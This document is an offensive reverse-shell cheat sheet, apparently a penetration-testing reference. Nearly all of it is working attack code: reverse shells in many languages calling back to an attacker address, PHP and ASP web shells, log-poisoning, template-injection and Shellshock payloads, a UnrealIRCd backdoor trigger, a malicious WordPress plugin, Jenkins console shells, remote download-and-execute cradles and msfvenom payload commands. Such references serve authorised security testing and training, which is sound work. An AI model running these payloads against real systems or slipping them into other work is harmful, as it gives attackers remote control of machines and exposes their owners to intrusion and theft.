Offensive Reverse Shell (Cheat Sheet)
- Bash
- Netcat
- cURL
- Wget
- Node-RED
- WebShell
- Server Side Template Injection (SSTI)
- UnrealIRCd
- Exif Data
- Shellshock
- CMS
- Perl
- Python
- Python3
- PHP
- Ruby
- Xterm
- Ncat
- Socat
- PowerShell
- Awk
- Gawk
- Golang
- Telnet
- Java
- Node
- Msfvenom
Bash
TCP
bash -i >& /dev/tcp/192.168.1.2/443 0>&1bash -l > /dev/tcp/192.168.1.2/443 0<&1 2>&1sh -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5bash -c "bash -i >& /dev/tcp/192.168.1.2/443 0>&1"0<&196;exec 196<>/dev/tcp/192.168.1.2/443; sh <&196 >&196 2>&196exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 | while read line; do $line 2>&5 >&5; doneUDP
sh -i >& /dev/udp/192.168.1.2/443 0>&1Bash URL Encode
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.2%2F443%200%3E%261%22Netcat
Netcat Linux
-e
nc -e /bin/sh 192.168.1.2 443nc -e /bin/bash 192.168.1.2 443-e URL Encode
nc%20-e%20%2Fbin%2Fsh%20192.168.1.2%20443nc%20-e%20%2Fbin%2Fbash%20192.168.1.2%20443-c
nc -c /bin/sh 192.168.1.2 443nc -c /bin/bash 192.168.1.2 443-c URL Encode
nc%20-c%20%2Fbin%2Fsh%20192.168.1.2%20443nc%20-c%20%2Fbin%2Fbash%20192.168.1.2%20443fifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/ffifo URL Encode
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.1.2%20443%20%3E%2Ftmp%2Fffifo Base64
root@kali:~# base64 -w 0 <<< 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f'
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xLjIgNDQzID4vdG1wL2YK
root@kali:~# nc -lvnp 443user@victim:$ echo 'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xLjIgNDQzID4vdG1wL2YK' |base64 -d |shhttp://192.168.1.3/cmd.php?cmd=echo 'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xLjIgNDQzID4vdG1wL2YK' |base64 -d |shNetcat Windows
nc.exe -e cmd 192.168.1.2 443\\192.168.1.2\a\nc.exe -e cmd 192.168.1.2 443cURL
root@kali:~# echo "nc -e /bin/sh 192.168.1.2 443" > index.html; python3 -m http.server 80
root@kali:~# nc -lvnp 443http://192.168.1.3/cmd.php?cmd=curl 192.168.1.2/index.html|shWget
root@kali:~# echo "nc -e /bin/sh 192.168.1.2 443" > index.html; python3 -m http.server 80
root@kali:~# nc -lvnp 443http://192.168.1.3/cmd.php?cmd=wget -qO- 192.168.1.2/index.html|shNode-RED
[{"id":"7235b2e6.4cdb9c","type":"tab","label":"Flow 1"},{"id":"d03f1ac0.886c28","type":"tcp out","z":"7235b2e6.4cdb9c","host":"","port":"","beserver":"reply","base64":false,"end":false,"name":"","x":786,"y":350,"wires":[]},{"id":"c14a4b00.271d28","type":"tcp in","z":"7235b2e6.4cdb9c","name":"","server":"client","host":"192.168.1.2","port":"443","datamode":"stream","datatype":"buffer","newline":"","topic":"","base64":false,"x":281,"y":337,"wires":[["4750d7cd.3c6e88"]]},{"id":"4750d7cd.3c6e88","type":"exec","z":"7235b2e6.4cdb9c","command":"","addpay":true,"append":"","useSpawn":"false","timer":"","oldrc":false,"name":"","x":517,"y":362.5,"wires":[["d03f1ac0.886c28"],["d03f1ac0.886c28"],["d03f1ac0.886c28"]]}]WebShell
Exif Data
root@kali:~# exiftool -Comment='<?php system($_GET['cmd']); ?>' filename.png
root@kali:~# mv filename.png filename.php.pngASP WebShell
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>PHP WebShell
GET
<?=`$_GET[cmd]`?><?php system($_GET['cmd']); ?><?php system($_REQUEST['cmd']); ?><?php passthru($_GET['cmd']); ?><?php echo exec($_GET['cmd']); ?><?php echo shell_exec($_GET['cmd']); ?>Basic Proportions OK
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?><?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?>POST
<?php system($_POST['cmd']); ?>Log Poisoning WebShell
Log Poisoning SSH
/var/log/auth.log
ssh '<?php system($_GET['cmd']); ?>'@192.168.1.2/var/log/auth.log&cmd=id
Log Poisoning FTP
/var/log/vsftpd.log
root@kali:~# ftp 192.168.1.3
Connected to 192.168.1.3.
220 (vsFTPd 3.0.3)
Name (192.168.1.2:kali): <?php system($_GET['cmd']); ?>
331 Please specify the password.
Password: <?php system($_GET['cmd']); ?>
530 Login incorrect.
Login failed.
ftp>/var/log/vsftpd.log&cmd=id
Log Poisoning HTTP
/var/log/apache2/access.log
/var/log/nginx/access.log
curl -s -H "User-Agent: <?php system(\$_GET['cmd']); ?>" "http://192.168.1.2"User-Agent: <?php system($_GET['cmd']); ?>/var/log/apache2/access.log&cmd=id
/var/log/nginx/access.log&cmd=id
Server Side Template Injection
{{request.application.__globals__.__builtins__.__import__('os').popen('nc -e /bin/sh 192.168.1.2 443').read()}}{{''.__class__.__mro__[1].__subclasses__()[373]("bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'",shell=True,stdout=-1).communicate()[0].strip()}}{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.2\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.1.2/443 0>&1"')}}%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.2%2F443%200%3E%261%22%27%29%7D%7DUnrealIRCd
root@kali:~# echo "AB;nc -e /bin/sh 192.168.1.2 443" |nc 192.168.1.3 6697Exif Data Reverse Shell
root@kali:~# exiftool -Comment='<?php system("nc -e /bin/bash 192.168.1.2 443"); ?>' filename.png
root@kali:~# mv filename.png filename.php.pngShellshock
Shellshock SSH
root@kali:~# ssh user@192.168.1.3 -i id_rsa '() { :;}; nc 192.168.1.2 443 -e /bin/bash'Shellshock HTTP
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.2/443 0>&1' http://192.168.1.3/cgi-bin/test.shcurl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"
curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"Shellshock HTTP 500 Internal Server Error
curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"
curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"CMS
WordPress
Plugin Reverse Shell
root@kali:~# nano plugin.php<?php
/**
* Plugin Name: Shelly
* Plugin URI: http://localhost
* Description: Love Shelly
* Version: 1.0
* Author: d4t4s3c
* Author URI: https://github.com/d4t4s3c
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'");
?>root@kali:~# zip plugin.zip plugin.php-
Plugins
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Add New
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Upload Plugin
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Install Now
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Activate Plugin
October
function onstart(){
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'");
}Jenkins
Jenkins Windows
Netcat (Method 1)
cmd = "\\\\192.168.1.2\\a\\nc.exe -e cmd 192.168.1.2 443"
cmd.execute().textNetcat (Method 2)
println "\\\\192.168.1.2\\a\\nc.exe -e cmd 192.168.1.2 443" .execute().textCMD
String host="192.168.1.2";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();PowerShell
command = "powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2:8000/reverse.ps1')"
println(command.execute().text) Jenkins Linux
Bash
String host="192.168.1.2";
int port=443;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();Perl
perl -e 'use Socket;$i="192.168.1.2";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Python
export RHOST="192.168.1.2";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'Python3
#!/usr/bin/python3
import os
import socket
import subprocess
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.2",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'PHP
<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f"); ?>php -r '$sock=fsockopen("192.168.1.2",443);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("192.168.1.2",443);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("192.168.1.2",443);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("192.168.1.2",443);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("192.168.1.2",443);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("192.168.1.2",443);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("192.168.1.2",443);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'Ruby
ruby -rsocket -e'f=TCPSocket.open("192.168.1.2",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.2","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'c=TCPSocket.new("192.168.1.2","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'Xterm
xterm -display 192.168.1.2:443Ncat
TCP
ncat 192.168.1.2 443 -e /bin/bash
ncat 192.168.1.2 443 -e /bin/shUDP
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u 192.168.1.2 443 >/tmp/fSocat
socat TCP:192.168.1.2:443 EXEC:shsocat TCP:192.168.1.2:443 EXEC:'bash -li',pty,stderr,setsid,sigint,sane PowerShell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.1.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.2',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2:8000/reverse.ps1')
C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.2/shell.ps1')
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.2/powercat.ps1');powercat -c 192.168.1.2 -p 443 -e cmd" Awk
awk 'BEGIN {s = "/inet/tcp/0/192.168.1.2/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/nullGawk
gawk 'BEGIN {P=443;S="> ";H="192.168.1.2";V="/inet/tcp/0/"H"/"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print $0|&V;close(c)}}while(c!="exit")close(V)}}'Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.1.2:443");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.goTelnet
rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.2 443 0/tmp/ptelnet 192.168.1.2 80 | /bin/bash | telnet 192.168.1.2 443mknod a p && telnet 192.168.1.2 443 0<a | /bin/sh 1>aTF=$(mktemp -u);mkfifo $TF && telnet 192.168.1.2 443 0<$TF | sh 1>$TFJava
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()Node
require('child_process').exec('bash -i >& /dev/tcp/192.168.1.2/443 0>&1');Msfvenom
Web Payloads
PHP Payload
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f raw > reverse.phpmsfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=443 -f raw > reverse.phpWar Payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f war > reverse.warJAR Payload
msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f jar > reverse.jarJSP Payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f raw > reverse.jspASPX Payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspx
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspx
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspxWindows Payloads
Windows Listener Netcat
x86 - Shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exex64 - Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exeWindows Listener Metasploit Multi Handler
x86 - Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exex64 - Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exex86 - Shell
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exex64 - Shell
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exeLinux Payloads
Linux Listener Netcat
x86 - Shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elfx64 - Shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elfLinux Listener Metasploit Multi Handler
x86 - Meterpreter
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elfx64 - Meterpreter
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elfx86 - Shell
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elfx64 - Shell
msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf